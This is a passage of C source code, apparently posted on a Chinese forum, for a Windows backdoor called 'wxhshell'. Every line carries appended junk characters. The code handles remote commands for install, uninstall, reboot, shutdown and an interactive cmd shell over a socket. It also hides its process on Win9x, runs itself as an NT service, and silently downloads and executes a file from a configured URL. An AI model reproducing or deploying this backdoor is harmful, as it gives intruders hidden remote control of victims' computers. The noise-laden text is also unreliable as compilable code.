  // 帮助 cGiS[-g  
  case '?': { jca7Cx`sm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yHkZInn  
    break; &n+3^JNl  
  } j%Mz;m4y  
  // 安装 P]gksts9f.  
  case 'i': { BFmYbK  
    if(Install()) zvB!=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tyFhp:ZB  
    else yaV=e1W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  c'?4*O  
    break; Cr|v3Y#h'  
    } QIQ }ia  
  // 卸载 iaBy/!i  
  case 'r': { 2MwR jh_  
    if(Uninstall()) c(Zar&z,E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]bCeJE.+)  
    else Dv?'(.z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jV)!9+H#  
    break; B~oSKM%8R  
    } HVaWv].  
  // 显示 wxhshell 所在路径 9k=-8@G9  
  case 'p': { ;V]EF  
    char svExeFile[MAX_PATH]; bUbM}  
    strcpy(svExeFile,"\n\r"); D ODo !  
      strcat(svExeFile,ExeFile); MVHj?  
        send(wsh,svExeFile,strlen(svExeFile),0); &RP!9{F<  
    break; <y1V2Np  
    } LcCb[r  
  // 重启 +cv7]  
  case 'b': { ;Vc@]6Ck  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6J0HaL  
    if(Boot(REBOOT)) u38FY@U$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JmdXh/X  
    else { rhY>aj  
    closesocket(wsh); d&'z0]mOe  
    ExitThread(0); K_j$iHqLF  
    } <(W0N|1v  
    break; yyZH1A  
    } xExy?5H7  
  // 关机 q+2yp&zF  
  case 'd': { NfcY30}:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7><ne|%  
    if(Boot(SHUTDOWN)) CK[2duf^~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;t U+36nM  
    else { Cd)e_&  
    closesocket(wsh); Et~b^8$>  
    ExitThread(0); mN3}wJ}J  
    } h+F@apUS  
    break; 9i@AOU  
    } {Pm^G^EP  
  // 获取shell Pm; /Ua  
  case 's': { epa)ctS9  
    CmdShell(wsh); cC w,b]  
    closesocket(wsh); pj>b6^TI6C  
    ExitThread(0); 'Ht$LqG  
    break; dgPJte%i  
  } ]4SnOSV?S  
  // 退出 P{mV  
  case 'x': { wm0vqY+N$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WL-+;h@VQ  
    CloseIt(wsh); `HU`=a&d  
    break; 0 z{S@  
    } n m(yFX?=  
  // 离开 f" Yj'`6  
  case 'q': { j{N;2#.u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z'dY,<@  
    closesocket(wsh); TuY{c%qQ:  
    WSACleanup(); \W;~[-"#  
    exit(1); \V`O-wcJ]S  
    break; @OAX#iQl  
        } 0(#HMBE8  
  } pHFlO!#]|  
  } *)"U5A/v)  
fEc}c.!5  
  // 提示信息 a%f{mP$m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nk=F.fp|/  
} quk~z};R>\  
  } #EtS9D'd+  
Mp; t?C4  
  return; ], Wh]q  
} 84tuN  
0$l=ME(  
// shell模块句柄 `*PVFm>  
int CmdShell(SOCKET sock) FW&P`Iu  
{ g.aNITjP  
STARTUPINFO si; EAo7(d@  
ZeroMemory(&si,sizeof(si)); 9oS\{[x.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ie^:PcU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [bkMl+:/HG  
PROCESS_INFORMATION ProcessInfo; @eMDRbgq;[  
char cmdline[]="cmd"; M xj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AoyU1MR(  
  return 0; pcNVtp 'V  
} kbBD+*  
^ cN-   
// 自身启动模式 xtf]U:c  
int StartFromService(void) uxk&5RY  
{ =]oBBokV  
typedef struct _dppUUm  
{ D h]+HF  
  DWORD ExitStatus; $1oU^V Y  
  DWORD PebBaseAddress; ]+)z}lr8 C  
  DWORD AffinityMask; N%6jZmKip  
  DWORD BasePriority; %*OKhrM  
  ULONG UniqueProcessId; E*IkI))X0  
  ULONG InheritedFromUniqueProcessId; Vi`+2%4  
}   PROCESS_BASIC_INFORMATION; gwQL9 UYx  
lJoMJS;S]}  
PROCNTQSIP NtQueryInformationProcess; &J^@TgqL^  
^ef:cS$;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K @"m0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |tz1'YOB  
},0fPkVsU  
  HANDLE             hProcess; ]g3&gw  
  PROCESS_BASIC_INFORMATION pbi; {>OuxVl??k  
7M}T^LC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (rFY8oHD  
  if(NULL == hInst ) return 0; U jVo "K  
aW %ulZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %Z&[wU~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k<=.1cFh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZA>hN3fE'  
ttLC hL  
  if (!NtQueryInformationProcess) return 0; -Qo`UL.}  
dW;{,Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X;sl?8HG!<  
  if(!hProcess) return 0; `Q1T-H_  
#!h:w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^R1 nOo/  
 \A:m<::  
  CloseHandle(hProcess); al=Dy60|z  
N::_JH? ^=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `y0ZFh1>X  
if(hProcess==NULL) return 0; /7|u2!#Ui  
8gJ"7,}-'  
HMODULE hMod; &GwBxJ  
char procName[255]; X1:|   
unsigned long cbNeeded; bjPI:j*XU  
- ,q&Zm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e+bpbyV_#  
dTyTj|"x{  
  CloseHandle(hProcess); (rt DT  
;M8N%  
if(strstr(procName,"services")) return 1; // 以服务启动 sq*R)cZ  
U/yYQZ\)  
  return 0; // 注册表启动 56u'XMB?  
} ckP&N:tC  
ko im@B  
// 主模块 1 dz&J\|E#  
int StartWxhshell(LPSTR lpCmdLine) /-E>5wU  
{ tb AN{pX  
  SOCKET wsl; ~zRUJ2hD!  
BOOL val=TRUE; PmvTCfsg  
  int port=0; ho#] ?Z#  
  struct sockaddr_in door; B^U5= L[:p  
Ha$|9li`  
  if(wscfg.ws_autoins) Install(); tNbCO+rZ  
~Ht[kO  
port=atoi(lpCmdLine); 8l>/ZZ.NXi  
Cv{rd##Y8  
if(port<=0) port=wscfg.ws_port; g Gg8O? Z  
%&Z!-k(  
  WSADATA data; !rb)Y;WQt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J\_tigd   
(o{QSk\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vb9G_Pfz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "pdG%$  
  door.sin_family = AF_INET; _zJY1cr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "6 dC  
  door.sin_port = htons(port); rv;w`f  
0Z2![n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vBj{bnl  
closesocket(wsl); p(Y'fd}  
return 1; KLsTgo|J  
} 4&K~EX"^T  
$&n!j'C:  
  if(listen(wsl,2) == INVALID_SOCKET) { (8@._  
closesocket(wsl); SWO$# X /  
return 1; &kXf)xc<~  
} !s\-i6S>  
  Wxhshell(wsl); @`$8rck`  
  WSACleanup(); Eo)Q> AM  
~8`r.1aUO  
return 0; e_g7E+6  
*M/3 1qI  
} FlD !?  
Wh(V?!^@5  
// 以NT服务方式启动 2<fG= I8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?b2"~A  
{ -nN}8&l  
DWORD   status = 0;  s4;SA  
  DWORD   specificError = 0xfffffff; q3T'rw%Eh  
l *yml  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1`5d~>fV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qW][Q%'lt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vNd4Fn)H  
  serviceStatus.dwWin32ExitCode     = 0; U|u v SJ)X  
  serviceStatus.dwServiceSpecificExitCode = 0; fseHuL=~  
  serviceStatus.dwCheckPoint       = 0; >LFhu6T  
  serviceStatus.dwWaitHint       = 0; bCdEItcD  
A"I:cw"KY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V\PGk<VO  
  if (hServiceStatusHandle==0) return; 0>4:(t7h\  
7tUl$H;I/R  
status = GetLastError(); q,^^c1f  
  if (status!=NO_ERROR) )+N%!(ki  
{ ^&h|HO-5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a)Qx43mOS  
    serviceStatus.dwCheckPoint       = 0; o9<jj>R;  
    serviceStatus.dwWaitHint       = 0; /AjGj*O  
    serviceStatus.dwWin32ExitCode     = status; <{9E.6G`n  
    serviceStatus.dwServiceSpecificExitCode = specificError; hi*\5(uH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rQ;m|@  
    return; Kv{i_%j   
  } w \i#  
9@Cqg5Kx'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -1:yqF.x  
  serviceStatus.dwCheckPoint       = 0; }Wn6r_:  
  serviceStatus.dwWaitHint       = 0; ?#rDoYt/Sx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $wdIOfaH  
} :a0qm.EN  
,l#V eC  
// 处理NT服务事件,比如:启动、停止 zRD{"uqi  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  z4&|~-m,  
{ PLw;9^<  
switch(fdwControl) p(v+j_ak  
{ ^E{~{  
case SERVICE_CONTROL_STOP: \H*"UgS  
  serviceStatus.dwWin32ExitCode = 0; y%cg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Cc]t*;nU_  
  serviceStatus.dwCheckPoint   = 0; 55zimv&DV  
  serviceStatus.dwWaitHint     = 0; 4Xe3PdE  
  { 'X<R)E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0KHA5dt  
  } SE;Jl[PgcL  
  return; Z[FSy-;"  
case SERVICE_CONTROL_PAUSE: 3O:Z;YP:<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UKZsq5Q  
  break; &xj?MgdNL  
case SERVICE_CONTROL_CONTINUE: ZxwI< T:&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +'N?`l6<  
  break; Z81]>  
case SERVICE_CONTROL_INTERROGATE: 4@4$kro  
  break; %_(e{Mf)  
}; R3jhq3F\Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wx>BNlT@?  
} 5WP)na6"  
egYJ.ZzF0  
// 标准应用程序主函数 b=wc-n A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rMH\;\ I|U  
{ GW]Ygf1t  
vc^qpOk  
// 获取操作系统版本 SYw>P1  
OsIsNt=GetOsVer(); u1~H1 ]Ii  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {qp XzxV  
8)\ ?6C  
  // 从命令行安装 ;xN 4L  
  if(strpbrk(lpCmdLine,"iI")) Install(); f-k%P$"X&  
dTB^6 >H  
  // 下载执行文件 v<ASkkh>  
if(wscfg.ws_downexe) { ~N;kF.q&>&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pyq~_ Bng  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2h@/Q)z  
} (ye1t96  
=d!3_IZ  
if(!OsIsNt) { kbN2dL  
// 如果时win9x,隐藏进程并且设置为注册表启动 w +fsw@dK&  
HideProc(); 4@u*#Bp`|  
StartWxhshell(lpCmdLine); 7s4G|N[wR\  
} D2#3fM6  
else f 0~<qT?:n  
  if(StartFromService()) ^|5vmI'E  
  // 以服务方式启动 h rW  
  StartServiceCtrlDispatcher(DispatchTable); f1rP+l-C<  
else L09YA  
  // 普通方式启动 ||;V5iR:  
  StartWxhshell(lpCmdLine); 0>6J -   
@a'Rn  
return 0; P6!c-\  
}
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只看该作者 1 发表于: 2006-10-10
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